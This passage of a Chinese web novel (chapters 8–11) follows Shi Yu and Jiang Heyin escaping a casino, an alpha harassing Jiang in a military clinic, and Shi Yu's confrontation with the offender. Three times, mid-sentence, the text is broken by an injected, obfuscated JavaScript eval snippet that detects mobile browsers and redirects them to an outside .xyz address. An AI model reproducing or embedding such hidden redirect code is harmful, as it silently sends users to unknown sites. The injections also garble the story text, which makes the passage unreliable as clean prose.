掏掏口袋,口袋空空如也,只剩了个小筹码躺在手包里,是时与给他的那个,原本是想留作纪念,现在倒是也想花掉了,他突然有点理解第二星为什么取缔□□业,这确实是害人不浅。 “这样多好。”时与见他满脸郁卒,一边向前走一边又摆出一副心智成熟的样子劝慰,可惜神色笑嘻嘻不太真诚,江鹤吟对她皱皱鼻子,挤了个鬼脸出来表示不想听。 时与眉眼弯弯:“真的呀,这是开了一个好头,体验感不好就很难上瘾,能避免你最后变成赌棍流落街头。” 江鹤吟捏捏筹码心说不一定,指不定就有人是越挫越勇的类型。 他跟着时与上了一层楼梯,七拐八拐穿过人群,再走过几个小门,手里就拿上了几块点心和一杯饮品。 ……就算是alpha也吃的有点太多了吧。 午饭刚吃不久,江鹤吟还有点饱,他仔细回忆,不记得自己的家人有谁是这样的,但看时与的体型似乎也没有暴食的意思。有点好奇,他凑到时与身边,时与侧耳,耳朵里就传来一声略微担忧的疑问句。 江鹤吟自己手里还拿着一个小蛋糕,问她:“你吃了好多,不撑吗?” 时与歪头:“还好。” 江鹤吟:“你应该回去检查一下身体。” 寒毛倒竖,时与离他远了点,终于老实给了个说得过去的答案,她道:“不要,我是精神体变异。” 精神体变异竟然也会让人光吃不胖,江鹤吟想,果然大家的变异都乱七八糟奇形怪状。 室内空间可能打了氧,身体有点累,精神却很亢奋,他们靠在沙发上吃了点东西,吃完才又重新下楼去玩。 时与向他勾勾手,拉开口袋,把身上的筹码倒给他一大半:“不要总盯着一个机器。” 她说:“反正是来玩的,你就多玩几个看看。” 江鹤吟又高兴了,他开开心心去给别的机器喂钱,输赢参半,抱回一堆小纸条和时与分,时与不拒绝,奖券重新兑换成筹码,又和他一人一半。 她觉得江鹤吟有点像投币机器人,投个币就高高兴兴到处逛一圈。赌品还行,输了就老老实实回来,也没吵吵嚷嚷去砸机器,最多骂句好讨厌,这样骂其实更像撒娇,杀伤力无限接近0。 一直到他们磨光了手里的钱,两人才又去找苏鸿的身影,苏鸿还在继续,她运气好,又真有点技术在身上,手中筹码不减反增。 时与凑一个脑袋过去,从她面前拿了个小筹码摆在她正前,苏鸿咋舌:“押这个必输,输了你赔我。” 时与:“好嘛,输了赔你两个。” 8. 第 8 章 赌运一如既往的烂,这一把果然输了,时与“切”一声:“回去转账给你,转你十倍。” 苏鸿回过头,身后却只看到时与一个人,不见江鹤吟的影子,便又歪过身子向旁边去找,时与托住她脸侧:“干什么呢?” “那个谁呢?”她看看时间觉得也该停手,于是收拾起桌上的筹码,像个靠谱长辈似的对时与语重心长,“把人带过来就要好好照顾,这里乱七八糟,他长那样遇到麻烦怎么办。” “眼瞎。”时与评价道。她似乎对苏鸿提出的问题不甚在意,闻言直起身吹声口哨,双手插进口袋,对不远处一张桌示意了一下,“喏,人家在那边看大小。” 江鹤吟被人群挡住,正聚精会神观察荷官摇骰,一头银发散开,像是昂贵的绸缎垂落在肩头,在一帮人中显得十分耀眼,旁边确实有人正在偷偷打量他,不过暂时都没敢贸然上前。 “哪里就那么危险,最多碰上几个叠码仔嘛。”她吊儿郎当抬脚蹭了蹭地面,苏鸿拿肩膀去撞她,她就没骨头一样往旁边倒。 苏鸿不能理解,对她小声咬牙:“少装,人家怎么看上你的?” 这问题问得烂,时与心想怎么一天天净问这些让人没办法回答的问题。说“看上”可太过分,人其实算她绑过来的,本次出行处处充斥着强迫的味道——当然能绑架成功也要多亏江鹤吟本人也是个反骨仔愣头青,对她的堕落邀请主打一个半推半就顺水推舟,知道能干点坏事就好像兴奋得不得了似的,小怪胎一个。 时与说:“可能是信任我,觉得我人品特别好。” 苏鸿摆手让她滚。 这也不算是胡说,时与耸肩,苏鸿将手搭过去,两个alpha凑得很近,时与倒是不抵触这个,依旧没什么反应,任她把脸靠过来,苏鸿说:“这批人只来四十五天,你不要乱来。” 她用手肘杵她,眼睛垂下半看向地面提醒道:“二星的指挥官也姓江。” 这就有点无厘头,时与一下笑了:“姓江的多了,我通讯名单里姓江的能找出八十个,他要是和指挥官都姓时的话我还能害怕点,姓时的少见,我就认识俩。” “而且你看看,指挥官家里的beta养成这样那该算她渎职,”她依旧不以为意,眼神向江鹤吟那边示意一下,感觉好无奈,一手把苏鸿的胳膊从肩上拨下去,说道,“家里人都养成这样,手底下直接全转成文艺兵算了,遇到虫潮就上去给人家表演个节目,说不定真能探索出什么通过净化心灵灭虫的路子。” 蛛丝粘上江鹤吟身后两人的手脚,将他们悄然前进的身体向后拽了个踉跄又瞬间消失无踪。那两人险些跌倒,回过头,眼神向着周围凶恶扫视一圈,最终竟然越过人群,定格到时与身上。 时与挑眉,没想到真会被发现,那二人似乎颇有一些本事,没后退,甚至还气势汹汹转身向这边来,这行为让时与莫名觉得好笑,心情也突然之间变得很好。 她原地站着,还是那副软绵绵的史莱姆样,背后却骤然浮现出一道狰狞虚影,厅内即使挑高三层也装不下数十米高的精神体,花哨庞大的虫只露出脑袋和半条前肢,像个凭空浮现的鬼面具。 人群忽然之间骚动起来,不知哪里传来一声尖叫,江鹤吟只觉背后一凉,跟着诸人扭头去看,那虫影不过一闪而过,很快消失无踪,因此他什么都没看见,只被人流裹挟着左右晃了几下,差点摔到地上。 “虫!” “有虫族进来了!” 场面不知怎地骤然变得混乱,他听见有人高喊,还没反应过来发生了什么事,就被时与一把拽走。 时与把他拽上来拖到身边,骑在一头巨大的豹子身上,黄土色的皮毛上带着大块黑色斑纹,斑纹围成花瓣似的点,这些斑点随着肌肉的起伏不断跃动,他们飞速跃过人群,快得几乎看不到周围的人影。 时与拉着他的胳膊,她似乎很愉快,舌头舔舔露出来的两颗犬齿,指挥苏鸿道:“走走走,左边。” 进门时无限和平,从其中出来却一路仿佛闯关破卡,不断有安保人员冲上来,江鹤吟牢牢抓着时与以免被甩落下去,他向四面张望,除了嘈杂的人声,甚至听到有枪支武器的鸣响。 这豹子有将近一层楼高,民用的枪支根本打不穿这大豹的皮毛,时与伸出手按下江鹤吟的头,他感到有什么东西擦着发顶飞过去,脖颈瞬间上起了一阵鸡皮,身体战栗,心中却并不害怕,反倒觉得好新鲜,他紧紧抱着时与的腰,心脏怦怦直跳。 三人从正门破出一条路,他们飞速上车,豹子甩尾向追来的人低吼。 “启动!走!”苏鸿喊一声,发动机转到最快,响起一阵轰鸣。车辆从地下城飞驰而出,时与和苏鸿躺到沙发上,两相对视,不知怎的突然爆发出一阵笑声,江鹤吟有点不明所以,他的脸红扑扑的,莫名也跟着有些热血沸腾。 他坐上沙发摸摸脸颊,好刺激,他想,好像是真的枪啊,怎么还有这种活动。 时与和苏鸿叠在对面,苏鸿笑够了,忽然一脚把时与踹下去,时与翻身,两人又你一拳我一脚打斗起来,车身一颤,于是她们没打几下就默契暂停。 “怎么了?”江鹤吟问。 苏鸿:“没事。” 时与:“我们又上黑名单了。” 苏鸿:“哈哈哈哈哈哈哈哈哈。” 车里一时又充满快活的空气,江鹤吟没办法理解这两人的脑回路,却也跟着笑出来,苏鸿笑完,拉拉口袋,便有一堆筹码叮呤咣啷掉出,她翻过身清清嗓子,拖着时与的领子开始挨个数数。 “二十八万七千三百。”她把这堆黏土圆片推给时与,“回去记得兑给我,你输的那几个我暂时不跟你计较,别想耍赖。” 时与:“哇靠,那我伙食费怎么办?” 苏鸿:“你发津贴了,我有账单。” 时与:“。” 时与:“烦不烦。” 她们两个人凑在一起窃窃私语,江鹤吟竖着耳朵听,热血很快褪下,逐渐有点疑惑于第八星的薪资水平。 是因为虫潮频繁吗?如果是按照第二星的军费支出,那可没办法给上士这样的薪资待遇。 这事属于个人隐私,问起来就有点冒犯,但反正很开心,他摸摸颈侧,试探性提议:“其实我也可以把筹码兑换给你。” 时与:“少爷大气!” 苏鸿把她踢到一边:“别这么不要脸。” 时与道:“嘿嘿。” 也不知道出于什么考虑,时与真把地上那堆筹码收起来,她盘起腿坐在地上,地上铺着一层纯白色的长毛地毯,车辆都会自清洁,因此这白毛还依旧干净蓬松,一点都不显脏乱。 她问江鹤吟:“你会不会打人?” 江鹤吟发出个疑惑的音节。 “有人欺负过你没有,”时与胡闹了一通心情大好,此刻又成了那副笑眯眯的模样。她伸了个懒腰,往苏鸿的肩膀上瘫倒,“你竟然一点都不害怕,真不错,应该多练一练,beta也要有点出息才行。” 从没有被这么说过,江鹤吟一愣,接着也笑起来,他身体前倾,似乎非常愿意得到这样的评价,又向时与确认一遍:“真的?我真不错吗?” “对啊。”时与伸出手对他竖了个拇指,轻笑道,“你在第八星肯定是一个优秀的战士。” 江鹤吟看起来很惊喜,闻言像得了什么天大的夸奖似的,嘴角想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488224|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压下去又实在合不拢,灰蓝色的眼睛亮晶晶的:“我?真的?我可以做战士?” 他问:“你真的这么觉得啊?” 时与也笑:“比很多alpha胆大多了。” 不过是被第八星一个名不见经传的小兵夸了一句,江鹤吟却一直到回去都觉得很开心。时间渐晚,古旧的时钟指过数字“8”又继续移动了半个格子,他们才终于又回到军部十六区。 从16区的A栋出发,回来也依旧停在这里,苏鸿将他们放下车,道句“晚安”便直接离开。时与拍拍手,打了个呵欠向窗边走,预备怎么过来就怎么回去。 江鹤吟踩着时与的脚步紧跟上来,见时与重新踩在窗口上蹲着,也向下看,有点紧张。 下方黑洞洞的,有凉风鼓上来,颇给人一种摔下去会粉身碎骨的感觉。时与对他伸出手,他紧紧抓着,想了想还是觉得到她背上比较安全,可怜巴巴对她抬眼。 时与无所谓,怎么都行,反正她不会让人真掉下去,便任由他爬上来。黑夜里蛛丝看不真切,只有灯光照过时有莹亮的反光闪烁一二,她正要学某位超级英雄荡走,江鹤吟却趴在她肩头突然出声。 “你的精神体是什么?”他看着时与抬起的手问道,“蜘蛛?赌场里是你做的吗,我没看清,但我听到有人喊有虫。” 时与:“啊,对。” 江鹤吟不说话了,他离时与的腺体很近,能闻到她淡淡的信息素味道,像是潮湿的、带着泥土的树苔。时与看不见,但他有点脸红,小声说:“好厉害啊,真羡慕你。” 时与从窗台跃下,一只手缠着蛛丝,二人从楼宇间荡过,耳边是呼呼风声,江鹤吟睁开眼睛看向周围,杂乱的建筑从视野中划过,下方道路上有昏暗的灯,车辆川流不息如同长龙,天顶一片昏沉,间或有一两颗卫星闪光,身边时与温温热热的,味道还很香。 他忽然觉得挺浪漫。 两栋楼的距离不远,时与一手抓住窗沿,翻身跃了个漂亮的圈,江鹤吟短促“呀”了一声,紧接着就被时与摔跤似的顺势丢到地上,他抗议一声撑起身子,又听到时与带笑的声音:“羡慕什么,这有什么好的,胆子不小,连虫族都不怕。” 江鹤吟伸出手,要时与把他拉起来,他道:“我又不是笨蛋,我见过虫族,虫族和虫一点都不一样。” 传说虫族的身体不能留下,因为遇到适宜的条件它们会直接成为巢穴,繁衍出新生的一代,民间对此害怕极了,但实际上这并没有道理,第二星军部中就藏有各式虫族的标本,他见过好多次。 虽说当初起了个“虫”字为名,虫族的外表却与星球原始的虫类大相径庭,它们更像古早的异形,只能肢体样貌与虫类能算微微沾边。他还不至于分不清这两者,觉得时与又在逗他玩,有个这样厉害的精神体分明很帅。 时与把他拉起来:“见识不短,勇气可嘉。” 江鹤吟:“嘿嘿。” “走吧,”时与指指走廊,“我回去住院,你回去坐班。” “哦。” 江鹤吟答应一声,与她一起往正常的生活轨迹上走。时与的病房还半开着门,她推门进去,与他打声招呼告辞,看样子又准备补觉。 江鹤吟帮她关上门,正要走,想起什么又突然把门打开。 他伸出头,像个试试探探的小老鼠:“你明天还出去吗?” 时与:“休息。” 他“哦”了一声,门又打开一点点:“那你再出去能带我吗?” 房间里的人笑出声,然后便看到一个小东西嗖一下被扔过来,正落到门边,江鹤吟俯身捡起。 时与笑,挥手告辞:“拜拜,再联系。” 9. 第 9 章 那好像是一个小小的通讯器。 江鹤吟把它举过头顶,对着灯光来回观察,通讯器结构精巧,各处连接都卡的严丝合缝,四周金属表面刻印着繁复的花纹,中央的小屏偏乳白色,好像是驱动重型机械时要用的的能源石制成,但又比能源石更靓丽些,认不出具体材质。手指慢慢翻转,细密的划痕从正中一直剐蹭到边缘,看得出已经使用了很久。 他想起自己姐姐也有这么一个东西,只不过一直挂在腰间,没见她用过,先前还以为那只是个像袖扣或者驳头扣那样的装饰品,现在倒终于明白那是个实用的物件。 他翻来覆去摸索这个小东西,试图搞清它的使用方式,终于在尝试用脑机连接时得到了反应,一行信息发送过来,一看就是时与的口吻,她说:[不要乱按。] 江鹤吟翻过身:[你还没睡呀?] 时与心说你这按法我半死了都得活过来骂你。她突然有点后悔,把“钥匙”给出去实在是脑残中的脑残,早知道就应该正常去要个联系方式。 钥匙与她的脑信号进行过配对,交流起来确实方便,而且不算别有用心去侵占对方的私人空间——或许一开始就不该有这种想法,她怕骚扰到别人,现在这情况反倒是她觉得有点被骚扰。 她威胁:[再乱按你就死定了。] 江鹤吟:[哦。] 他先将通讯器放下,见没有别的信息再传过来,活动了一下手指关节,对着上面所有能活动地方都揉了一遍,“钥匙”放在手里搓搓搓搓,就差出去找条狗让它也舔舔。 揉完一遍,江鹤吟控诉起来,口气委委屈屈:[你又骂我,你好凶。] 时与:? 可恨钥匙里的精神触手无法化成实体给他一拳,时与一口气憋在胸口,思考闯进beta的联排屋揍他一顿的可行性——beta住的太密,做了这事估计不止会被降职,算他走运,暂且放他一马。 江鹤吟那边假模假样说完,还依旧兴致勃勃,他给时与发消息:[我明天还在16号门诊,你要来看病吗?] 什么叫你要来看病吗,时与从没听过有这种邀请,她问:[你能说点人话吗?] 江鹤吟改口:[那你要来看我吗?] 时与:[不要。] 江鹤吟把通讯器扔到一边。 好后悔,八星军部的外科诊室又累又无趣。他想打几个滚,结果滚了半圈就摸到床沿,只好不满的哼哼两声,不知道想到什么,忽然顿住,转过身兴致勃勃对着被子打了几拳。 一只小鸟轻轻落在他头上,扑扇翅膀啄他的头发。那是一只颜色偏浅的银文鸟,他懒得转头,直接伸手向后一抓,对着天花板把鸟扔出去。 “好笨。”他侧躺在枕头上,任由它扑棱一圈回来又继续玩他的头发,精神体与本人心灵相通,却也不是完全毫无意识听从摆布。 它开始咬江鹤吟的耳朵。 “哎呀!!”江鹤吟坐起,文鸟悄无声息消散掉,很快又被他重新召唤出来。 和自己的精神体过不去是一个蛮小众的行为,但江鹤吟常做这种事,他抓着鸟往外丢,反复丢了好几次,扔累了看看时间,将鸟往行李箱中一扣,这才去洗漱和打理自己的身体。 一枚抑制贴的效果可以持续三天,但这是最长期限,他不会傻傻等到失效,基本每日都会换新,那些以抑制贴或抑制剂失效开头的爱情故事在网络上不知凡几,能从别人身上吸取到现成教训的错误他一般不会去犯。 撕掉旧的,又重新拿一张新的贴好,江鹤吟摸摸颈侧仰头轻嗅,淡淡的橙花香漂浮空中,又立刻被除味剂喷散。 —— 时夏裹了条毯子坐在旁边,慢条斯理给时与削苹果。 他手很巧,估计是又从网上学来了什么有趣的花样,低垂着眼睛做的很专心,盘子从兔子到小狗到海豚到蟑螂皆有,做得很像样,仿佛一个混沌的养蛊场。 时与不睡了,斜眼观察他的动作,时夏拿着竹签对着剩下的边角料戳戳戳,不见有停手的迹象。 时与想,手里这个可能是刺猬。 她小心翼翼伸过手去抓了个小狗塞到嘴里嚼,时夏这才终于注意到她醒过来,抬起头:“哎呀,怎么样?” 时与发出意味不明的“嗯嗯”,动动鼻子,她觉得病房里有一股奇怪的味道,有点…不知道怎么描述,似乎是从时夏身上来的,不太真切,闻起来略有点不舒服。 “你买了橙子……?”她判断一下味道犹豫开口,“我最近都没见到有卖这个的,是从哪儿弄来的,闻起来有点奇怪。” 这话问的好,时夏眼睛一亮,他放下手里的东西,先是抬起手臂在胳膊上闻了一圈,接着又换另一只手确认了一遍,仍然不觉得有什么气味,惊奇道:“好神奇,你真的闻得到。” 时与觉得不像有好事。 他果然不继续玩那个苹果了,把苹果放回盘子里,自己则凑到时与身边,伸出手臂放到她鼻子下,时与顿时脸都皱成一团。 时夏问:“仔细闻闻,什么味道?” 时与偏头躲开:“哇,好新鲜,这是什么,闻起来像性骚扰。” “不许乱说,”时夏不满,手臂继续追着她的鼻子走,“最新款的模拟信息素omega版,阿迦买的,是不是很香?这次好像真的是信息素,不是那种香水,我们beta都闻不到。” “我明天也要买,”时与的反应让他兴致勃勃,他挑眉,问道,“你觉得什么味道好?” 简直莫名其妙,时与保持反对意见,她缩起来,往一边躲了躲,不回答问题,口气幽幽道:“人都喜欢自己没有的,真好,你们商城全是香水,我们商城都是除味儿,我们的分歧将进行到底。” “哎等等,”好像想到什么,她突然舒展开,“不对,你买吧,你买白兰地的alpha信息素,我把苏鸿叫过来,你们对对碰,用信息素互殴,看天然和人造谁更胜一筹,我坐庄,输的人陪我去阿斯曼尔值守。” 时夏撇嘴拧她的胳膊,对这个提议不置可否,起身去拿起个苹果塞到她嘴里,禁止她再说话毁坏他的好心情。 —— 是的,omega有各种各样的颈贴、抑制环、除味剂,alpha也有,但实际江鹤吟觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488225|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' beta也应该研究出来点什么东西贴在身上,这理应成为一种新的社交礼仪——特别是在人多的时候。 每天特定的时间军区有公放的铃声,晨铃响起,江鹤吟挤进电梯,里面的味道很不新鲜,二十多个beta站在一部电梯里头,其中一定有谁没洗澡,酸臭味直冲到鼻腔深处。 beta们嗅觉实在一般,依旧在里头正常聊天说笑,似乎都没觉得有问题,他用衣袖掩住口鼻躲到角落,拿出通讯器对时与抱怨:[电梯好臭,讨厌。] 他又说:[在医疗部工作怎么能不洗干净,你们这里条件好差,应该有硬性规定每天都要洗澡,至少身上不能有味道。] 时与刚被晨钟叫醒,正准备睡个回笼,懒得理他,看都不看便直接把信息接到儿童智能的界面里。 [是啊,电梯里遇到异味真的让人不舒服。可以试试戴个口罩,或者如果是邻居楼道的问题,可以向管理员反映一下,希望他们能尽快处理。希望下次坐电梯会更顺利些!——您的信息管家,少儿成长在线。] 烦人!江鹤吟小发雷霆,又把通讯器猛揉一圈。电梯下行到15层,他收起通讯器迈步走出去,终于重新接触到外头干净的、没有味道的净化空气,狠狠呼吸了一口。 第二星学生的宿舍都在这个区域,有几个眼熟的身影随他一起走下来,与他一道向医疗部的方向去。 工作当然让人不开心,他想继续和时与出去玩,于是脚步拖拖拉拉,时不时拿出通讯器看对方有没有回复,一个小个子的卷发男生跟在他身后,眼睛向这边瞟,好奇地看他手里的东西。 似乎是当初在接驳车上叫出机甲型号的那个,江鹤吟不知道他在看什么,向一边让了让,将那个小通讯器收起来,并不想被旁人发现这个小小的秘密。 一回生二回熟,重新坐到门诊,江鹤吟已经不再担心自己能否胜任这个岗位,他按部就班给人处理伤口、包扎、开药、偶尔也看看通讯器上的信息,时与一点消息都不发过来,实在是好冷漠好没爱心。 “两剂alpha抑制剂,要X-10。” 外面又进来一个便服人影,江鹤吟抬眼随意扫过,输入对方需要的型号,医药单里显示无库存,建议他更新。 “其他型号可以吗?”江鹤吟将页面向下滑动,“现在有X的8、9和AR类的4至7,X-10似乎很久没有引入了,你有特殊过敏源吗,我……” 空气中飘来alpha的信息素。 江鹤吟背后寒毛乍起,尽量放轻呼吸,咽了口唾沫,继续扮演他的beta角色,他说:“如果有过敏又很紧急,我也可以给你开抑制针……” 对面的人不说话,短促的哼笑从鼻腔里泄出,仿佛是什么捕猎时蓄势待发的姿态,让江鹤吟有些不安。 毫无预兆,一只手突然伸过来,江鹤吟完全来不及反应,被勾下口罩,露出一张煞白的脸,表情一派震惊。 “你长得可真不错,不像beta,”那人指指江鹤吟胸前的名牌,双手一摊,“我昨天好像在B区看见你……医生,如果没有药,你能不能制止我的易感期?” 10. 第 10 章 简直难以理解,江鹤吟想,是的,军部omega数量稀少又只在指定部门进出,但这人真离谱,碰不到omega竟然就对着beta发情,真是大畜生。 他皱起眉,重新戴上口罩,眼睛轻瞟桌角的警报器,说道:“请你冷静一些,我现在给你申请抑制针。” 那人好像脑子不好,依然在试图使用信息素挑逗一个beta,看手法似乎是个惯犯,诊室的信息素浓度仍在升高,却一直没有到达触发警报的水准,江鹤吟几乎屏息,他重新坐回原位,手伸向前,像是要继续开药,却在将要摸到键盘时身体一歪,飞快按下桌角的警报。 除去前天被人骂,这是他第二次把警报拉响,刺耳的警铃声先从内部响起,那人也干脆起身,抓向江鹤吟的手臂。alpha力气很大,显得他的反抗轻飘飘的,在被旁人拉开之前几乎就要被那混蛋咬到脖颈。 alpha被一群医护和病患拉出去打了抑制剂,江鹤吟坐在地上惊魂未定,外头又传来主任打人的声音,当然骂的也很难听,有人进屋来安慰他,是早上那个小个子的同学,他轻轻拍他的脊背,安抚性的给他顺气。 “没事了没事了……”这人似乎也被这情况吓了一跳,时不时转头向外看,那主任简直是武官,打起人来呼呼作响伸腿挥拳都有飒飒风声,声音传进来,听得他有些幻痛似的缩脖子。 江鹤吟拨开他的手,眼睫下垂:“谢谢,能麻烦你帮我把窗户打开吗?” 那人连忙起身去打开了窗,外头清凉的风吹开屋里的信息素,江鹤吟捂住口鼻轻咳,平复了一下呼吸,拿出手包里的除味剂向周围猛喷。 方才的alpha根本不在易感期,只是在用信息素试探,因而他所受的影响不算很深,不过是有点腿软无力。 他站起来,走到门边向外看,主任没在他门前打人,绕了个弯在走廊上,有排队的病患从那处移开个大圈,身后的同学轻轻扯他衣摆:“哎呀,你别看了,你别看了。” 他说:“被记住怎么办,多危险。” 那alpha还在挨揍,百忙之中给他比了个中指,又被踹了一脚,好像有骨裂声,身后的小同学“啊”一下,把他拉回去:“快走快走。” ……什么被记住怎么办,这肯定记住我了啊,都这样了,记不住才有鬼。 江鹤吟点头,与他一起退回屋内。16号门诊暂时关闭,但就诊效率不太受到影响,仍然有一百八十三个诊室在正常运行。 哦对,身边这人是17号门诊,那就还剩一百八十二个诊室运行。 “谢谢你,”江鹤吟伸出手,先自我介绍,“我是江鹤吟,联邦一校二年级。” “难怪我没有见过你,”小卷毛对他一笑,露出两颗alpha似的虎牙,“我是阿斯克勒五年级普外科,我叫洛恩。” 洛恩,江鹤吟心想,真不错,这是来这里认识的第三个人。 卷毛同学莫名其妙得很关心他,又与他聊了几句,见主任进门才离开,主任是个中年末期的女人,若是只看体型不看身手的话还以为是个亚健康的干瘦脆皮。她推门进来问江鹤吟的情况,得到没关系的回答后点点头,夸他心态不错,又让他以后小心。 听起来不太妙,但江鹤吟没什么被危险追随的经历,他懵懵懂懂点头说好,又去和时与发消息说这事。 时与说:[哦,没事,别管,到处都有臭傻*。] 时与:[挂你们主任的联系方式,她谁都能打,指挥官来了她都敢骂,第八军部属她第一。] [好,]江鹤吟有点为难,他的脑机还没办法用,但也先答应下来,有点委屈,[那人没有处罚吗,为什么说要让我注意?] 时与:[跟你客套客套,你管她说什么,注意不注意的都那样,下次直接见到人就按警报铃,见一次摁一次。] 她慢条斯理喝着刚分发下来的营养液,旁边护理机正勤恳工作,今天的营养液是草莓味的,掺上粉红的色素也依然让人觉得很没食欲,不过甜甜的,她喜欢,勉强能当个劣质小甜品。 在联系方式里翻找一遍,时与点开好久不见的联系人,发过一条消息:[老大,你们今天有人闹事啊?] 姜澜回消息很快:[少找茬。] [怎么不关那闹事的禁闭,让人家二星的小受害人自己注意什么,]时与把营养剂的空管往前一抛,正投进护理机器人后方的垃圾袋里,[什么人敢这么嚣张,我休假,正好闲的没事,可以主动给你当枪使。] [消息够灵通,谁说的?]姜澜站在走廊上,叉着腰,点按墙上的清洁按钮,她道,[这次又是谁让你来主持正义?] 时与嘿嘿两声,直接拨通语音,没给对面开口的机会,先夹着嗓子对人撒娇。姜澜是上一任特战部的队长,伤重退役后将位置让给她,她对这位公正的老伯乐很敬重,既然老队长不可能出问题,那问题一定在对面身上。 时与问:“谁呀?” 姜澜道:“老狗家的老二,你少管,我警告你,再揍他你退役都升不到将级。” 时与歪歪头,倒没想到是熟人又作案,她问:“老狗去管任免啦?” 姜澜:“你能听话吗?” 时与:“嗯嗯嗯。” 时与问:“他送到哪儿去了?” 姜澜:“现在在他老妈那里写检讨关禁闭。” 听明白了,这是下午就能满血回来的意思,时与啧啧,有时候真的很羡慕这些关系户,本来军部里情况就复杂,他们竟然还能繁衍的越来越盘根错节,到哪儿都能找到人照顾。 她伸个懒腰翻身侧躺,小心拨开绷带看身上的伤口。江鹤吟带来的药剂确实比第八星那些管用得多,这才三天不到身上便已经好了个大概,甚至有些地方结的痂已经脱落下来。 找个alpha打一架,这只能算斗殴,再怎么罚也不至于降级。她想,真倒霉,这家伙简直是个麻烦精,惹祸招灾天天不重样,远不如自己的弟弟乖,差了大概有十万八千里。 —— 医疗部中午有短暂的休息时间,江鹤吟刚关闭诊室的权限没几分钟,门口就响起敲门声,通讯器里弹出消息,他打开,时与语气平常,回家似的,说道:[开下门。] 他就知道!江鹤吟沉默地握着通讯器,在椅子上转了个圈,双手上伸做了个“胜利”的手势,然后乐颠颠亲自跑过去给她拉开门。探出头左右看,发现时与穿了个松松垮垮的卫衣倚在门边,懒洋洋像个工作日逃课出门的学生,很映衬他此刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488226|154675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心境。 他观察时与,时与当然也看江鹤吟,他表情很兴奋,时与歪头,心想这人倒也不是所有地方都麻烦,至少哄起来很快——甚至看这乐呵样,不用哄就能自己调节好心态。 江鹤吟飞快把她拉进来,嘴角压都压不下去,头发丝都透着愉快,他不停地眨眼看向门口、看向时与、又看向窗外,压低声音明示:“出去玩?” ……狗吗? “疯了?”时与后退一步,“这么几十分钟,你想去哪儿?” 江鹤吟站直:“能去哪儿?” 时与:“……哪儿都不能去。” 这问得好可笑,她抱臂皱眉,还没开始阴阳怪气,就听到江鹤吟那边轻轻“切”了一声,方才满脸的兴奋转成蔑视。 时与:……? 时与伸手,将他脑袋往地下按。 什么人敢在姜澜的眼皮子底下拉她的亲亲劳动力出去玩,下午的工作当然照常进行,但时与没走,就大大方方坐在门诊角落抠手指玩游戏,患者一批批进来,似乎都对她的存在接受良好,仿佛她是什么房间里的大象似的,没几个人看她,只有零星几个就诊时眼神不断乱瞟,被时与轻飘飘一眼看回来便恨不得当场头也不回的立刻离开。 江鹤吟扭头,时与对他耸肩,样子很无辜。 时间渐晚,她坐在椅子上转了一圈,江鹤吟和患者一问一答,手指敲击键盘“哒哒哒”如同催眠,她又困了,脑机游戏里和苏鸿刚对战到一半就直接投降认输,打了八局,五负两胜一投降,苏鸿那边给她发来长串鄙视的表情,时与呵呵,邀请她直接军区训练场见。 看样子老狗家的二公子脑子还没彻底坏掉,知道今下午不能再来。时与等得无聊又有点忿忿,毕竟千日做贼容易,千日防贼可烦,她想法逐渐开始走偏,觉得要不干脆就先主动出击去把人打一顿,免得显得自己像期待他降临身边似的。 正构思作案手法,江鹤吟伸手在她眼前晃了两下,被她用手指弹开,他直起腰站在她身边,提醒道:“下班。” “晚上有活动吗?”虽然觉得希望不大,但江鹤吟仍旧有点期待,他在家该是很受宠的,撒娇手法熟练,小臂搭在椅背上,离时与很近,“晚上也不能陪我玩?” “大哥,beta排屋有门禁。”时与站起来,同他一起向外走,口气不咸不淡,“晚上的活动是送你回去……别看了,跟上。” “哦。”江鹤吟跟的不情不愿。 他住的离工作的地点不远,正常来说一般不会出现时与那种住所和部门远隔千山的情况。医疗部下班算早,这时候外头基本没什么人,时与扣上帽子插着兜,像个巷口游荡的小混混晃晃悠悠,转过走廊时耳边听到一声轻佻的口哨。 江鹤吟恍若未闻,并不把这当一回事,脑中正在找要时与带他出去的理由,反倒是时与听到声音转过身,目光冰冷冷看向一处。 除了他们,此时的走廊分明空无一人,她表情很臭,肉眼可见的烦,忽的对侧边猛踹了一脚,江鹤吟听见□□撞击时结结实实的“砰”一声响,紧接着便好像魔术一样,一个人影出现,巨大的蜥蜴从他身上慢慢爬到地面。 像见到什么恶心的东西,时与“噫”一声,问候道:“呦,好巧。” 11. 第 11 章 拜森·道格从地上爬起来,暗叫晦气,他方才没认出时与,只当对方是个被叫来壮胆的朋友一类,想着再逗面前这漂亮的小医生玩玩,没想到口哨一吹,吹出来这个煞星。 